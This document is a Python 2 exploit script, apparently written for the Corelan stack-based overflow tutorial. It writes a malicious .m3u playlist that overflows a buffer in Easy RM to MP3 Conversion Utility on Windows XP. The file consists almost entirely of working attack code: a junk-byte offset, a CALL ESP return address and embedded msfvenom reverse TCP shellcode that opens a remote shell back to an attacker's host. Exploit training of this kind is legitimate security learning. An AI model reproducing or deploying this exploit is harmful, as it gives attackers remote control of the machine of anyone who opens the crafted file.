#!/usr/bin/env python
#
# Script Name   : easy-rm-sploit2.py
# Tutorial Link : https://www.corelan.be (Part 2 Stack Based Overflows)
# Req Modules   : None standard
# Author        : wetw0rk
# Target OS     : Windows XP
# Version       : 1.0
# Python Ver.   : 2.7
# Description   : Simply an exploit that takes advantage of a stack
#                 buffer overflow in the Easy RM to MP3 Conversion Utility
#                 in this example using the call[reg] technique.
#


import struct

# sudo msfvenom -p windows/shell/reverse_tcp LHOST=X LPORT=X
# -b "\x00\x09\x0a" EXITFUNC=thread -f c --smallest
# bad characters: \x09\x0a
shellcode = ("\x29\xc9\x66\xb9\x18\x01\xe8\xff\xff\xff\xff\xc1\x5e\x30\x4c"
"\x0e\x07\xe2\xfa\xfd\xea\x81\x04\x05\x06\x67\x81\xec\x3b\xcb"
"\x68\x86\x5e\x3f\x9b\x43\x1e\x98\x46\x01\x9d\x65\x30\x16\xad"
"\x51\x3a\x2c\xe1\xb3\x1c\x40\x5e\x21\x08\x05\xe7\xe8\x25\x28"
"\xed\xc9\xde\x7f\x79\xa4\x62\x21\xb9\x79\x08\xbe\x7a\x26\x40"
"\xda\x72\x3a\xed\x6c\xb5\x66\x60\x40\x91\xc8\x0d\x5d\xa5\x7d"
"\x01\xc2\x7e\xc0\x4d\x9b\x7f\xb0\xfc\x90\x9d\x5e\x55\x92\x6e"
"\xb7\x2d\xaf\x59\x26\xa4\x66\x23\x7b\x15\x85\x3a\xe8\x3c\x41"
"\x67\xb4\x0e\xe2\x66\x20\xe7\x35\x72\x6e\xa3\xfa\x76\xf8\x75"
"\xa5\xff\x33\x5c\x5d\x21\x20\x1d\x24\x24\x2e\x7f\x61\xdd\xdc"
"\xde\x0e\x94\x6c\x05\xd4\xe2\xb8\xbe\x8d\x8e\xe7\xe7\xe2\xa0"
"\xcc\xc0\xfd\xda\xe0\xbe\x9e\x65\x4e\x24\x0d\x9f\x9f\xa0\x88"
"\x66\xf7\xf4\xcd\x8f\x27\xc3\xa9\x55\x7e\xc6\xa8\xc6\x6f\x18"
"\xb1\xb9\xdb\xb6\xb5\xb6\xb5\x31\x5f\xea\xeb\xec\xed\xfe\xef"
"\x80\x91\xaa\x29\xcb\x1a\x26\x38\x1d\x5e\xa0\xdb\x9a\x9a\xa6"
"\x56\x75\xa5\xb3\x2c\x01\x50\x16\xa3\xd4\x26\x94\xd3\xa9\x31"
"\xb6\x2f\x55\x43\xb4\x1c\x31\x8f\xe6\x8d\xec\xbf\xbd\x83\xee"
"\x34\x26\xb0\x0f\x24\x79\xc5\x9e\xb5\x9e\xf7\xe8\xf9\xfa\xad"
"\x96\xfd\x96\xa7\xa4\x52\xe7\xfc\xd1\x96\x55\x6d\x08\x5f\x59"
"\x5c\x64\x0f\xd7\xc7\x4f\xee\xc7\x12\xd7\x3c\xd0\x62\xf6\xda")

file = "pwned.m3u"                              # file we will be creating
junk = "\x41" * 26073                           # offset before overwriting EIP

eip = struct.pack('<L',0x7C82385D)		# CALL ESP
b4esp = "LMAO"					# add 4 bytes to point ESP diectly to shellcode

evil_buffer = junk + eip + b4esp + shellcode	# everything to be written (NO NOPS HERE!)

open_file = open(file, 'w')			# open file in write mode
open_file.write(evil_buffer)			# write junk to file
open_file.close()				# close file
print "[*] m3u file saved to %s" % (file)
